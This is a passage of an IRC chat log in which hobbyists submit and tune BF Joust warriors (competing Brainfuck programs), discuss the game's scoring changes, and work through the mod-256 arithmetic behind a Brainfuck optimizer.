it's threaded so it's hard to fix that >_> 08:06:03 aah 08:06:04 hehe 08:06:18 16 | + + + 0 + - + + + + 0 + + + + + + + + | 85.7 | 15 | myndzi_slowrush.bfjoust 08:06:19 hot damn 08:06:27 slowrush.isawesome 08:06:36 2 | - - 0 + + 0 - - - - - - - + + - + - - | 28.0 | -7 | GregorR-L_pooper_scooper.bfjoust 08:06:38 lukewarm damn 08:06:38 i still never managed to top 100 points 08:06:39 :\ 08:06:43 2/3 weave is surprisingly good still 08:06:47 myndzi: 100 is the max :P 08:07:07 3 | + + 0 + + + 0 - - + + + + + + 0 + 0 + | 71.3 | 11 | Patashu_2_3weave.bfjoust 08:07:09 that's p. good 08:07:10 and 3pass is still up there too, i am moderately happy about that 08:07:23 i don't want to work on optimizing them now but i'm glad i'll be able to try and tweak them better 08:07:34 I wonder if a 3/4weave would be worthwhile 08:07:52 what is the 2/3 about 08:08:00 it skips every third line 08:08:12 oh really 08:08:16 ya really 08:08:22 huh 08:08:23 (>(+)*20>(-)*20)*4(>[(-)*20[+]](-)*4>[(+)*20[-]](+)*4>(+)*4)*10 08:08:35 i'm surprised it did that well, i guess the speed gain is worth it 08:08:37 -set up eight decoys 08:08:47 -(step decrement step decrement step) loop 08:08:57 but, perhaps you can get the same score simpler by simply skipping those lines at the beginning 08:09:00 except i guess vs defend 08:09:24 okay, let's try 08:09:27 current score is 71.33 08:09:29 hm no 08:09:35 i'm assuming that you're going to skip the flag X times 08:09:41 where X i haven't quite determined 08:09:48 !bfjoust 2_3weave >>>>>>>>(>[(-)*20[+]](-)*4>[(+)*20[-]](+)*4>(+)*4)*10 08:09:49 and that if you put those skips at the start it will score similar 08:09:50 but i don't think so 08:09:51 this is a decoyless version 08:09:53 for two reasons 08:09:59 Score for Patashu_2_3weave: 51.5 08:10:05 !bfjoust 2_3weave (>(+)*20>(-)*20)*4(>[(-)*20[+]](-)*4>[(+)*20[-]](+)*4>(+)*4)*10 08:10:06 1) skipping will overstep the tripwires in defend 08:10:18 Score for Patashu_2_3weave: 71.3 08:10:27 2) since you don't skip them all at the start, hrm... maybe 2 is wrong 08:10:28 i dunno 08:10:34 should have looked at what you lost points to 08:10:35 it will foil any setup that relies on multiple tripwires 08:10:35 :) 08:10:43 and half the time it's going to be able to win it will foil a 1-tripwire setup 08:10:45 possibly, unless they are spaced right 08:10:54 1/3 of the time it'll foil a tripwire 08:10:55 :P 08:11:00 !!.!!.!!. 08:11:05 fun huh? 08:11:08 brb drivin' 08:11:17 indeed, it is interesting 08:11:24 also note how fast your submissions were 08:11:28 comparatively 08:11:28 :) 08:11:29 note to self: fiddle with everything else now that I know there's no HASH BASED RANDOMNESS. 08:11:37 haha no kidding 08:11:45 i felt bad for fiddling after i learned that 08:11:53 i had thought i was doing something like adjusting the timing 08:11:54 nope 08:12:08 !bfjoust weirdo >((+>)*10(+<)*10)*128 08:12:19 by the way gregor 08:12:23 ? 08:12:24 one side effect of doing the scoring this way 08:12:29 Score for GregorR-L_weirdo: 0.0 08:12:31 is that you only have to win 51% to get points vs a program 08:12:38 haha it never wins 08:12:42 D-8 08:12:44 it needs to go >> then < 08:12:44 which means you can effectively skip a large part of the tape for free 08:12:46 and repeat 08:12:48 imho 08:12:54 i wonder 08:13:05 I thought you'd get more points for getting more wins vs losses against a specific program 08:13:13 so like 21/21 wins against a prog would help more than 11/21 08:13:14 no? 08:13:16 myndzi: Mmmm, this is true ... 08:13:22 Patashu: he hasn't done something like that yet 08:13:27 ah k 08:13:29 is it planned? 08:13:31 he just arbitrarily decides based on the results if it's a win or a loss or a tie 08:13:37 that's what i was talking about earlier 08:13:42 Planned, but it's a PITA :) 08:13:45 hehe 08:14:13 do the >> < >> < >> < thing 08:14:17 sounds promising 08:14:25 i've considered that multiple times 08:14:28 but it's just a great way to run off the tape 08:14:29 okay really going now 08:14:47 how about > decrement > decrement << > decrement > decrement <<... 08:14:50 really really really 08:14:51 :) 08:14:58 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 08:15:28 !bfjoust oddly (>)*18(>(-)*20[-[+]])*15 08:15:44 Score for myndzi_oddly: 4.3 08:15:47 lol 08:16:00 !bfjoust AHHHMOTHERLAND (>)*1000 08:16:10 !bfjoust oddly (>(-)*19>(+)*19)*9(>(-)*20[-[+]])*15 08:16:10 Score for GregorR-L_AHHHMOTHERLAND: 0.0 08:16:16 YAY 08:16:23 Score for myndzi_oddly: 48.2 08:16:40 -!- whtspc has joined. 08:16:46 !bfjoust oddly (>(-)*19>(+)*19)*3(>)*12(>(-)*20[-[+]])*15 08:16:59 Score for myndzi_oddly: 35.0 08:17:12 !bfjoust oddly (>(-)*19>(+)*19)*5(>(-)*20[-[+]])*15 08:17:29 Score for myndzi_oddly: 54.7 08:17:34 !bfjoust oddly (>(-)*19>(+)*19)*6(>(-)*20[-[+]])*15 08:17:50 Score for myndzi_oddly: 57.1 08:17:58 oh crap 08:18:13 !bfjoust oddly (>(-)*19>(+)*19)*4(>(-)*20[-[+]])*30 08:18:35 Score for myndzi_oddly: 60.4 08:18:45 !bfjoust oddly (>(-)*19>(+)*19)*3(>(-)*20[-[+]])*30 08:19:09 Score for myndzi_oddly: 44.5 08:20:03 !bfjoust charge [>]>([-].[+].[-]..[-].[+])*100 08:20:05 ha 08:20:06 new king 08:20:34 Score for Asztal_charge: 9.7 08:21:28 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 08:22:11 !bfjoust (+*4[>[-]>[+]<<-]>[-][-[+]])*30 08:22:11 Use: !bfjoust 08:22:20 !bfjoust test (+*4[>[-]>[+]<<-]>[-][-[+]])*30 08:22:40 !bfjoust test ((+)*4[>[-]>[+]<<-]>[-][-[+]])*30 08:23:04 Score for KingOfKarlsruhe_test: 8.5 08:23:04 Score for KingOfKarlsruhe_test: 8.5 08:23:06 !bfjoust charge [>](>([-].[+].[-]..[-].[+]))*21 08:23:18 Score for Asztal_charge: 0.0 08:23:18 oops 08:23:48 !bfjoust test ((+)*4[>[-]>[+]<<-]>[-][-[+]]>)*30 08:24:14 Score for KingOfKarlsruhe_test: 12.5 08:24:38 !bfjoust charge [>](([+].[-].[+]..[-].[-])>)*21 08:25:04 Score for Asztal_charge: 0.0 08:25:05 it's supposed to kill the flag while most programs are still setting up the first defence cell 08:25:37 wait... [>] 08:25:52 is wrong :) 08:26:41 there's no way to actually do that, is there? 08:27:29 whoops i did something silly 08:27:38 i thought i'd do a rear attack 08:27:44 and try for 51% wins 08:27:49 !bfjoust charge (>[+])*50 08:27:53 but of course, tapelength 20 doesn't mean flag @ 20, tapelength 30 08:27:54 so .. 08:27:59 d'oh 08:28:02 Score for Asztal_charge: 19.0 08:28:06 that goes off the end every time, surely 08:28:15 !bfjoust test (((+)*4[>[-]>[+]<<-])*19>(+)*19[-[+]]>)*30 08:28:34 Score for KingOfKarlsruhe_test: 8.5 08:28:57 !bfjoust charge (>[+].>[-].)*50 08:29:11 Score for Asztal_charge: 28.5 08:30:53 Why is it that every time I make a (much requested) change to the hill, everybody immediately tries to break it? X-P 08:31:04 who's breaking what? 08:31:34 Well, "take advantage" is more accurate. 08:31:41 that's the nature of the game 08:31:57 if i don't do it someone else will :> 08:31:58 You should be taking advantage of the other code, not the scoring mechanism :P 08:32:05 oh, right, that 08:32:07 !bfjoust charge >->+>->+>+>->+>+(>[+].>[-].)*50 08:32:09 i just wanted to see if it would work 08:32:14 i was mixed up in my head 08:32:21 Well, at least the scoring mechanism is basically fair now. 08:32:22 Score for Asztal_charge: 66.2 08:32:26 That is, nonrandom. 08:32:48 yeah :) 08:32:56 i appreciate your patience with our griping and your effort too 08:32:56 !bfjoust reverse_charge (<)*1000 08:33:06 Score for GregorR-L_reverse_charge: 0.0 08:34:52 0.0 08:34:54 o.o 08:35:03 u.u 08:36:22 i own the hill again :> 08:40:00 !bfjoust abc ++++>[<(+>)*20(-<)*20>] 08:40:19 Score for KingOfKarlsruhe_abc: 13.4 08:44:25 how do you get a 0 on the hill now? do you need an equal number of wins and losses? 08:44:37 presumably 08:46:13 !bfjoust abc2 (>>[-])*10 08:46:40 Score for KingOfKarlsruhe_abc2: 19.7 08:47:09 heh i made keke2 a little better and might have done more, but primarily it just did better against my own warriors :P 08:47:23 !bfjoust abc3 (>>[-])*10(<<[+])*10 08:47:25 OK, I implemented the more-points-for-more-wins mechanism. 08:47:34 oh oh 08:47:40 maybe i'm about to lose the lead :) 08:47:41 I think I effed up the range of scores somehow :P 08:47:42 Score for KingOfKarlsruhe_abc3: 8.2 08:47:53 No, your score is now OVER FOUR THOUSAAAAAAAAAAAAND 08:47:58 lol 08:48:03 report not updated 08:48:47 gregor i just wanted you to know that i love you. in a totally not-gay way, of course. 08:50:22 I'm certainly not updating it in EgoBot until it works X-P 08:50:29 Yeah, all the scores are much lower now. 08:50:30 ah, right 08:50:33 Which I guess is unsurprising. 08:50:39 Highest score is 50.94 08:50:46 yeah 08:50:51 A score of 100 would mean that you won /every/ round, in /every/ configuration. 08:50:53 Which is absurd. 08:50:53 well, 08:51:02 oh, so it's based on percentage? 08:51:07 Yes. 08:51:15 cool 08:51:24 am i still winnning? :D 08:51:25 !bfjoust loop [+][(>>[-])*10(<<[+])*10-] 08:51:55 Score for KingOfKarlsruhe_loop: 12.3 08:52:00 !bfjoust juggernaut +(>(-)*128.(-.)*512>(+)*128.(++.)*512)*15 08:52:14 Score for Patashu_juggernaut: 16.0 08:52:41 !bfjoust loop [+][(>>[-])*10(<<[-])*10-] 08:53:11 Score for KingOfKarlsruhe_loop: 12.3 08:53:13 +(>(-)*128.-.--.---)*29 08:53:28 oops 08:53:37 !bfjoust juggernaut +(>(-)*128.-.--.---)*29 08:53:49 Score for Patashu_juggernaut: 21.4 08:54:02 !bfjoust juggernaut +>>>>>>>>(>(-)*128.-.--.---)*21 08:54:13 Score for Patashu_juggernaut: 20.5 08:54:24 !bfjoust juggernaut +>--->--->>>>>>(>(-)*128.-.--.---)*21 08:54:34 Score for Patashu_juggernaut: 21.3 08:54:38 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*10000(-)*10000(+-)*10000(-+)*10000 08:55:10 aw don't make me add all the blink defenses back in 08:55:11 :P 08:55:12 Score for Patashu_waiter: 33.3 08:55:21 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(+.)*129)*21[-]((-)*2048(+)*2048.)*2 08:55:31 don't think juggernaut's gonna work 08:55:33 Score for Patashu_lazy: 20.4 08:55:37 guess it doesn't matter, ALL my warriors beat waiter 08:55:37 hmm 08:55:38 huh 08:55:41 !bfjoust lazy >+>->++>-->--->+++>+>->((-.)*128>)*21 08:55:53 Score for Patashu_lazy: 11.9 08:56:04 !bfjoust stall (+)*100000 08:56:43 Hrm, I just killed the cache. 08:56:46 While you were doing that :P 08:56:49 Didn't pay attention :P 08:56:49 haha 08:56:50 :o 08:56:51 mein cache 08:56:57 time to see the new results 08:56:58 Now I have to kill both, 'cuz that'll be effy. 08:56:58 okay I can wait 08:57:02 * myndzi crosses fingers 08:57:43 !bfjoust reverse_charge (<)*1000 08:57:50 OK, now you'll have to wait again. 08:58:20 is it possible to make a program that does worse than < 08:58:28 by causing a turn 0 syntax error? 08:58:40 ) 08:58:41 maybe 08:58:42 :P 08:58:50 Yeah, it detects some syntax errors. 08:59:00 And that gives FULL points to the opponent. 08:59:16 excellent 08:59:23 only if the syntax error is encountered? 08:59:26 points for invalid code wasn't so cool 08:59:54 You'd have to read my increasingly-horrifying code to get all the possibilities :P 09:00:05 Score for Patashu_stall: 14.3 09:00:05 Score for GregorR-L_reverse_charge: 0.0 09:00:20 !bfjoust stall (+-)*100000 09:00:27 oh wow, that's a very different hill now 09:00:35 oh 09:00:37 Score for Patashu_stall: 6.5 09:00:37 what changed this time? 09:00:45 woah 09:00:47 oh 09:00:49 I see what it does 09:00:53 aw 3pass came down 09:00:55 but still i like 09:00:58 The points are now floating-point :P 09:01:02 score deflation 09:01:08 win% 09:01:32 interesting that defend7 does better than 9 now 09:01:37 poor 2/3 weave 09:01:37 T_T 09:02:07 !bfjoust stall ((+)*1001-)*100 09:02:41 Score for Patashu_stall: 14.3 09:02:52 so what does a +, - or 0 indicate on the grid now? 09:03:06 Patashu: It's a 0 iff every configuration ties. 09:03:36 what if it's 10 +s, 10 -s and a tie 09:03:48 Oh, I'm sorry, you're right. 09:03:48 !bfjoust loop (+-)*10000(+)*50[(>>[-])*10(<<[-])*10-] 09:03:54 lol 09:03:56 More accurately, the number of wins equals the number of losses. 09:03:57 Score for KingOfKarlsruhe_loop: 5.6 09:04:00 Wins - losses = 0 09:04:16 so it's just indicating more wins than losses or vice versa 09:04:20 yeah, 09:04:20 could there be a degree of gradation to it? 09:04:23 net gain or loss 09:04:36 -!- KingOfKarlsruhe has quit (Remote closed the connection). 09:04:47 Patashu: YOU PEOPLE ARE NEVER HAPPY 09:04:52 !bfjoust charge >->+>->+>+>->+>+(>[+].>[-].)*11 09:04:52 lol 09:04:58 could there 09:05:00 not DO IT NOW 09:05:00 Score for Asztal_charge: 18.7 09:05:01 AUGH 09:05:07 lol 09:05:39 bouncing permutations of rushpolarity off egobot 09:06:01 D-8 09:06:11 int4erestingly 09:06:15 2/3 weave now has positive points but low score 09:06:19 I kinda don't want to see rushpolarity go :P 09:06:27 oh oops 09:06:29 I reset the age huh? 09:06:38 there is no age 09:06:42 yes there is 09:06:43 look in the folder 09:06:47 sort by date modified 09:06:47 :) 09:07:00 that doesn't quite count ;p 09:07:10 nobody's looking there! hehe 09:07:21 hah 09:07:34 Is somebody running them via query? 09:07:41 yes 09:07:42 me 09:07:46 want me to stop for a mom? 09:07:52 Ah, that explains why report.txt keeps disappearing :P 09:08:01 ya 09:08:02 like I said 09:08:05 trying permutations of rushpolarity 09:08:12 yeah, here's another one of those complaints: why clear it before you're ready to write to it? :P 09:10:43 myndzi: ../report ../egojoust ../cache *.bfjoust > report.txt 09:11:37 mk, i guess that's just what happens eh 09:12:57 ah 09:13:05 it's so nice to see improvements come gradually 09:13:09 rather than in bumps and jerks 09:15:54 OK, I'm done hacking at EgoBot for the moment. 09:19:02 okay, after searching the local space I've determined this is better 09:19:04 !bfjoust rushpolarity >((+)*20>(-)*19>(-)*19>(+)*19)*2>([(+)*19[-]](+)*21>[(-)*19[+]](-)*21>)*11 09:19:12 Score for Patashu_rushpolarity: 53.5 09:20:12 next time on #esoteric, Patashu tweaks 2/3 weave 09:20:50 ON THE NEXT EPISODE OF DRAGON BALL Z... 09:21:40 I guess when mine loses, it *really* loses :( 09:21:47 haha 09:21:49 yeah that's the weird thing now 09:21:54 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 09:22:11 you can get lots of shallow losses or a few real bad ones 09:22:15 anyway bbl 09:47:48 lol did we end up with practically the same program? 09:53:18 oshi 09:53:18 16 69.88 12.60 myndzi_slowrush.bfjoust 09:53:20 :D 09:53:45 one loss and one tie 10:27:26 Sweet. 10:28:18 How does the scoring work now? 10:28:26 I should update the file ... 10:28:35 Yes, you should ;-) 10:41:08 http://codu.org/eso/bfjoust/SCORES 10:42:12 What's X 10:42:41 Whoops :P 10:42:47 :-P 10:42:59 That was supposed to be M. 10:44:43 -!- Judofyr has joined. 10:47:43 So, totally confused by that? :) 10:48:51 Nah, makes sense 10:50:38 Heh, I just momentarily confused myself with the 0-100 thing. 10:50:54 Then I remembered that since you can't win against something which itself won against everything, you can never gain the >1 worth. 11:16:02 -!- kar8nga has quit (Read error: 54 (Connection reset by peer)). 11:31:33 rushpolarity lost a whole bunch? 11:31:39 was it beating slowrush before and now losing to it? 11:37:33 -!- amca has quit ("Farewell"). 11:50:37 optimizing 2/3 weave 11:51:29 umm? 11:51:29 lol 11:51:34 now it's getting 0 for everything o.O 11:51:43 !bfjoust 2_3weave (>(+)*23>(-)*24)*2>>>>(>[(-)*20[+]](-)*5>[(+)*21[-]](+)*5>(+)*5) 11:51:48 Score for Patashu_2_3weave: 0.0 11:51:53 !bfjoust 2_3weave (>(+)*23>(-)*24)*2(>[(-)*20[+]](-)*5>[(+)*21[-]](+)*5>(+)*5) 11:51:59 Score for Patashu_2_3weave: 0.0 11:52:02 !bfjoust 2_3weave (>(+)*23>(-)*24)*2>>>>(>[(-)*20[+]](-)*5>[(+)*21[-]](+)*5>(+)*5) 11:52:07 Score for Patashu_2_3weave: 0.0 11:52:35 !bfjoust 2_3weave (>(+)*20>(-)*20)*4(>[(-)*20[+]](-)*10>[(+)*20[-]](+)*10>(+)*10)*10 11:52:42 Score for Patashu_2_3weave: 14.9 11:52:47 well hang on 11:53:03 OH I know why 11:53:07 it cut the *10 off :b 11:53:13 durrrr 11:53:16 interp's okay 11:53:28 PARSE FAILURE :P 11:53:49 copy and paste EPIC FAIL 11:53:54 brought to you by epicfailblog dot com 11:54:04 now to continue mutatin' 11:55:28 seems to be hovering at 20 now 11:56:55 best I can manage atm: 11:56:55 !bfjoust 2_3weave (>(+)*23>(-)*24)*2>>>>(>[(-)*20[+]](-)*6>[(+)*21[-]](+)*6>(+)*6)*10 11:57:02 Score for Patashu_2_3weave: 20.1 11:58:24 ... wasn't it doing better before? :P 11:58:39 before you changed it to return how many times it won 11:58:46 what 2/3 weave does 11:58:48 is get lots of shallow wins 11:58:59 as opposed to programs which get deep wins against a few programs they counter 11:59:23 so it looks good on the grid but has a shitty score 11:59:37 funny huh 12:02:40 Ah 12:02:55 Yeah, looks very good :P 12:03:04 0.1 points X-D 12:03:29 okay mm 12:03:31 I'm thinking now 12:03:44 that I want to use two 'repeats' for attacking; one that leaves decoys after it moves but later one that doesn't 12:03:53 because if the tape's that long it's probably long passed its opponent 12:03:56 that'll make it attack faster 12:05:54 odd. it doesn't appear to help at all (for rushpolarity) 12:07:51 okay, rushpolarity is now at score 41.45 points 4.76, 2/3weave is now at score 19.16 points 2.67 12:08:42 stall is a worse version of waiter so I might kill it 12:08:56 !bfjoust stall < 12:09:12 Score for Patashu_stall: 0.0 12:10:28 !bfjoust the_greatest_program_ever!!! +[>[-[+]]---] 12:10:43 Score for Patashu_the_greatest_program_ever___: 15.2 12:15:27 bf joust codegolfing 12:17:13 defend6 is by far the oldest program (since last revision) on the hill 12:17:47 !bfjoust parisian_monastery (>->+)*5[>[-[+]]+] 12:17:56 Score for GregorR-L_parisian_monastery: 28.2 12:17:59 -!- sebbu2 has joined. 12:18:05 It might be that I just plain suck at BF Joust :P 12:18:16 But nobody'll play FYB, so what else am I to do? X-P 12:18:21 8th on the hill yeah you're terribad 12:18:22 haha 12:18:24 FYB... 12:18:55 http://codu.org/eso/fyb/README 12:19:08 I know what it is 12:19:08 :) 12:19:26 do I need to enclose my posts in XML tags indicating the tone to be read in? 12:19:33 YES 12:19:58 I guess logicex-2 has a four-year streak as king of the hill. 12:20:01 That's pretty sweet :P 12:20:39 !bfjoust parisian_monastery (>->+)*5[>[(-)*5[+]]+] 12:20:46 Score for GregorR-L_parisian_monastery: 30.8 12:20:55 Ooh la la 12:20:56 think about whether you want lots of little decoys or fewer but bigger ones 12:21:13 Well, I'm thinking more about actually sinking the enemy flag :P 12:21:20 Which is perhaps not the real goal. 12:21:33 step 2. do it before they do it to you 12:22:26 there only seem to be so many variations on the basic program though 12:22:52 !bfjoust parisian_monastery (>->+)*5[(>)*2[(>)*2[+]]+(>)*2[+]]-] 12:22:58 Score for GregorR-L_parisian_monastery: 0.0 12:23:04 Yeaaaaaaaaaaah go me :P 12:23:14 Dangling ] 12:23:16 I think 12:23:28 can we get multithreading in bf joust? 12:23:57 !bfjoust parisian_monastery (>->+)*5[(>)*2[(-)*5[+]]+(>)*2[(-)*5[+]]-] 12:24:04 plx 12:24:05 Score for GregorR-L_parisian_monastery: 0.0 12:24:05 Patashu: No, use FYB :P 12:24:12 lol 12:24:22 (>->+)*5[(>)*2[(>)*2[+]]+[(>)*2[+]]-] 12:26:55 what do you imagine the bombs in FYB looking like? this is an important question 12:27:26 ooh deeewiant's adding a new program 12:27:31 Woot, monorail owns 12:27:33 :-) 12:27:51 haha 12:27:55 they're all slight tweaks on the 12:27:58 1. set decoys 12:28:17 2. use a loop like [(-)*n[+]] 12:28:26 3. optionally set decoys while attacking 12:28:26 theme 12:28:53 Oh, is that what slowrush's success is based on? :-P 12:29:02 well not all 12:29:03 Funny, I tried it pretty much by accident 12:29:29 hmm haha 12:29:32 slowrush looks more or less like rushpolarity now 12:30:29 Patashu: Most programs, since FYB has threads, employ multiple styles. My favorite style was logicex, or Logic Extermination, which looked for all logic in the program (loops, etc) and set bombs there, in the hopes that the logic would increase the chances of those spots being hit. 12:31:28 Simpler programs just looked for the enemy program counter and set a bomb in hopes that it would go there again, or focused more on defending ones one code than attack. 12:32:06 hmm 12:32:11 FYB cell arithmatic is mod 17? 12:32:28 Yeah >:) 12:32:38 -!- sebbu has quit (Read error: 110 (Connection timed out)). 12:32:40 only powers of 2 are holy cretin 12:32:40 !! 12:32:45 these go to 17 12:32:45 etc 12:32:58 The reason for 17 was solely that that's how many commands I had :P 12:33:05 . and , are both nops already 12:33:08 you need a dedicated nop? 12:33:45 I had some rationale maybe, or maybe it was just to make 17 instead of 16 to bother you. 12:34:00 it was in case you decided to make . output values to your opponent later 12:34:01 >:) 12:34:02 btw 12:34:12 if you turn one half of a loop into a bomb in FYB 12:34:17 where does the other half send its pointer? 12:34:22 same place or is it ineffectual? 12:34:30 Alright, monorail is #2, I'm happy with that 12:34:35 If there's no match, it's just like a nop. 12:34:47 Which is why you have to place a bomb just /after/ the loop :P 12:34:51 ah 12:35:04 so a pointer in a :; loop can escape its loop if you change one half of it 12:35:07 It's also the third-smallest program on the hill (unexpanded) :-P 12:36:05 Patashu: Sure 12:36:39 Deewiant: 46.33 is pretty darn good in the new scoring system. 12:36:52 53.96 is better :-P 12:37:12 But I guess I have the best score/size ratio 12:37:12 Why yes, yes it is :P 12:37:19 score/size haha 12:37:30 It's not the size that matters, it's what you do with it. 12:37:42 Hence score/size ratio ;-P 12:42:04 -!- FireFly has joined. 12:46:55 op-code idea for FYB: swap program buffers but not code buffers :P 12:46:57 so the anti defect 12:52:58 -!- dbc has joined. 13:05:28 -!- sebbu has joined. 13:07:55 -!- sebbu2 has quit (Read error: 60 (Operation timed out)). 13:24:56 2/3 weave is now at 18.24, rushpolarity was at 36.76 now is 42.52 13:24:56 whee 13:35:11 Aww, you dropped monorail 13:37:00 :o oh nooo 13:38:12 so fun fact 13:38:20 putting even one - or + on every cell you pass over vastly improves your score 13:38:30 since it forces any loop to be entered at the very least once 13:38:37 which takes them more cycles then it takes you 13:42:13 !bfjoust juggernaut >+>+>->->+>+>->-(>(-)*128.-.+)*29 13:42:19 Score for Patashu_juggernaut: 18.6 13:43:25 -!- Corun has joined. 13:54:04 -!- selador has joined. 14:22:03 hum... 14:23:13 [->-<] would be p[1] = p[1] - p[0]; right? For some reason this ends up as p[1] = 255 * p[0] + p[1] ... That can't be right... 14:23:50 or is it? 14:25:10 is p[0] a negative number? 14:25:30 Patashu, it is an unsigned char. 14:25:47 the BF - is represented as += 255 14:26:20 if it's mod 256 arithmetic 14:26:25 aren't those two expressions equal? 14:26:29 the pseudocode ones 14:26:39 Patashu, that is what I'm trying to figure out 14:26:50 adding 255 is like taking away 1 14:26:52 if it's mod 256 14:26:53 yes 14:27:06 I'm totally with you that far 14:27:32 are you using a bf optimizer? 14:27:42 Patashu, I'm developing one 14:27:45 aah ;) 14:28:04 Patashu, but I'm not sure x - y = x + 255y (mod 256) 14:28:13 which is what the code above seems to indicate 14:28:17 okay let's pretend that every time you hit 256 14:28:19 you go back to 0 right? 14:28:22 so if you add 256 that's like adding 0 14:28:24 Patashu, yes I know 14:28:32 adding 257 must be like adding 1 14:28:36 so...adding 255 is like subtracting 1 14:28:38 the issue is that it turned into multiplication there 14:28:41 adding x*255 is like subtracting x 14:28:44 hm 14:28:55 Patashu, sure about that? 14:28:57 ok 14:29:02 I have no reason to doubt it 14:29:17 Patashu, I suck at this sort of math :/ 14:30:45 anything else? 14:31:14 hm? 14:31:20 did you have any other questions 14:31:40 not right now at least 14:31:47 p[1] = p[1] + 255*p[0] is equivalent to p[1] = p[1] - 1*p[0] in mod 256 arithmetic 14:31:57 and yes it seems to be correct 14:32:11 doesn't seem very logical to me :/ 14:32:25 well let's take p[1] = p[1] - 1*p[0] 14:32:36 now let's imagine that for every 1 in p[0] we also add 256 14:32:42 that's a nop right? since it's mod 256 arithmetic anyway 14:32:57 but we turn it into p[1] = p[1] - 1*p[0] + 256*p[0] 14:33:07 or p[1] = p[1] + 255*p[0] 14:33:18 and if you can go one way you can go the other way 14:33:20 hm 14:33:39 ok seems to make sense. Of a kind 14:33:45 you agree that adding or subtracting 256 any integer amount of times is going to be a nop? 14:33:51 so you can implicitly do it in any expression anywhere in your code 14:33:57 and all it does is change the way it looks 14:33:58 yes 14:35:01 hm. So y = x*256 is same as y = x in mod 256 14:35:41 Patashu, is that so? 14:35:53 no 14:35:59 but y = x*256 is the same as y = x*0 14:36:05 and y = x*257 is the same as y = x*1 14:36:05 ah yes 14:36:10 right :) 14:36:13 and y = x*258 is the same as y = x*2... 14:36:20 indeed 14:36:36 this makes complete sense now :) 14:37:05 because if you add an extra k 256s for every 1 you find in x you do nothing 14:37:07 again and again 14:38:52 so what would [+>+<] end up as... p[1] += 256-p[0] right? (of course followed by setting p[0] to 0 afterwards) 14:39:55 hmm 14:40:15 you add 1 to p[1] (256-p[0]) times 14:40:21 p[1] += 256-p[0] 14:40:22 yes that's correct 14:40:37 * AnMaster wonders what his compiler turns that out as now 14:42:30 hm that turns into p[1] = 255 + p[1] - p[0] though 14:42:35 which looks very odd 14:42:50 that one surely can't be right 14:42:53 Patashu, ^ 14:43:13 wait yes 14:43:15 it is? 14:43:19 hang on 14:43:30 if p0 = 255 it executes once 14:43:31 right? 14:43:38 so it would add 1 to p1 14:43:45 ah it is off by one indeed 14:44:10 p[1] = 255 + p[1] - p[0] should be p[1] = 256 + p[1] - p[0] ... 14:44:14 yes 14:44:22 which is equiv. to what you said it ought to be 14:44:50 Patashu, I wonder how C will handle that since p is unsigned char* ... 14:45:41 wait. it will promote to p[1] and p[0] short since 256 isn't in the range of unsigned char 14:45:42 right? 14:46:12 and uh... then *truncate* it back to unsigned char when assigning? 14:46:14 simple 14:46:16 remove the 256 14:46:18 since it's a nop anyway 14:46:18 ;) 14:46:29 so now it's p[1] -= p[0] 14:46:44 and we know it's right because we've deduced it logically earlier, that any addition or subtraction of 256 is a nop 14:46:59 even if it doesn't immediately click 14:47:04 Since this is all mod 256. 14:47:07 ya 14:47:56 Patashu, well... that is a bit messy, since I don't have -= anywhere in the compiler. I work with all positive values due to implementation language issues (that is: the compiler is coded in erlang, which only has bignums, so all calculations are done mod 256 manually, working with negative integers make it a bit more complex) 14:48:09 hm 14:48:41 += -p[0] ? 14:48:42 ;) 14:49:00 * pikhq is reminded of interp.tcl in PEBBLE. 14:49:02 Patashu, that could actually be done! since the polynomial code does handle negative coefficients 14:49:09 pikhq, hm? 14:49:25 polynomial code? 14:49:26 Manual modular arithmetic all over the place. 14:49:30 Patashu, however it would be translated to += 255*p[0] in fact :) 14:49:37 why 255 specifically? 14:49:45 I think ur polynomial is wrong.... 14:49:53 wait, indeed it is wrong 14:50:02 or rather I am 14:50:10 proc Modvar {var} {variable memory;variable memmap;set memory($memmap($var)) [expr {$memory($memmap($var))%256}]} 14:50:11 it will end up as -1 there 14:50:16 Seem familiar? 14:50:22 :p 14:50:52 pikhq, I actually do it lazy... After all passes that can merge nodes I have a cleanup pass which goes through and mod 256s all relevant values 14:51:11 (as well as other cleanup) 14:51:32 which I admit is rather messy design 14:52:01 it was the one easiest to implement when I realised "oops, this should have been "rem 256" all over the place. 14:52:13 new code does the rem 256 though 14:52:17 mostlu 14:52:18 mostly* 14:56:27 p[1] = p[1] + 255*p[0] is equivalent to p[1] = p[1] - 1*p[0] in mod 256 arithmetic 14:56:45 wouldn't that mean += -p[0] ? is same as += 255*p[0] ? 14:56:46 because between the first and second you always add an integer number of 256s 14:56:58 hmm 14:56:58 yep 14:57:09 Patashu, so that is the answer to why 255 specifically? 14:59:11 hm 14:59:12 ah 14:59:13 k 15:08:45 -!- jix has quit ("leaving"). 15:26:09 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 15:55:07 -!- tombom has joined. 16:30:27 -!- oerjan has joined. 16:33:34 -!- Corun has quit ("Leaving..."). 16:36:11 http://pastebin.ca/1442391 <-- funny mess up of mandelbrot.b 16:39:21 -!- kar8nga has joined. 16:47:03 The Font: Small button doesn't seem to be working :( 16:47:30 so i presume i'm seeing it even more messed up than it has to be 16:48:40 huh there was a badly formatted menu of fonts in the upper right corner, and _those_ work 16:49:44 Ooh, it's a pwetty buttewfwy! 16:59:03 Patashu, but I'm not sure x - y = x + 255y (mod 256) 16:59:06 -!- kar8nga has quit (Remote closed the connection). 16:59:07 of course it is 16:59:28 modulo arithmetic works across addition, subtraction and multiplication 17:00:45 division and powers are more subtle 17:00:53 x - y = x - y + 256y = x + 255y (mod 256) 17:06:20 wait. it will promote to p[1] and p[0] short since 256 isn't in the range of unsigned char 17:06:44 i vaguely thought C converted all chars before doing arithmetic anyway 17:07:31 or wait was this about function arguments... 17:08:28 06:47:56 Patashu, well... that is a bit messy, since I don't have -= anywhere in the compiler. I work with all positive values due to implementation language issues (that is: the compiler is coded in erlang, which only has bignums, so all calculations are done mod 256 manually, working with negative integers make it a bit more complex) 17:09:02 does erlang give negative remainders if you do remainder(negative, positive)? 17:09:22 you 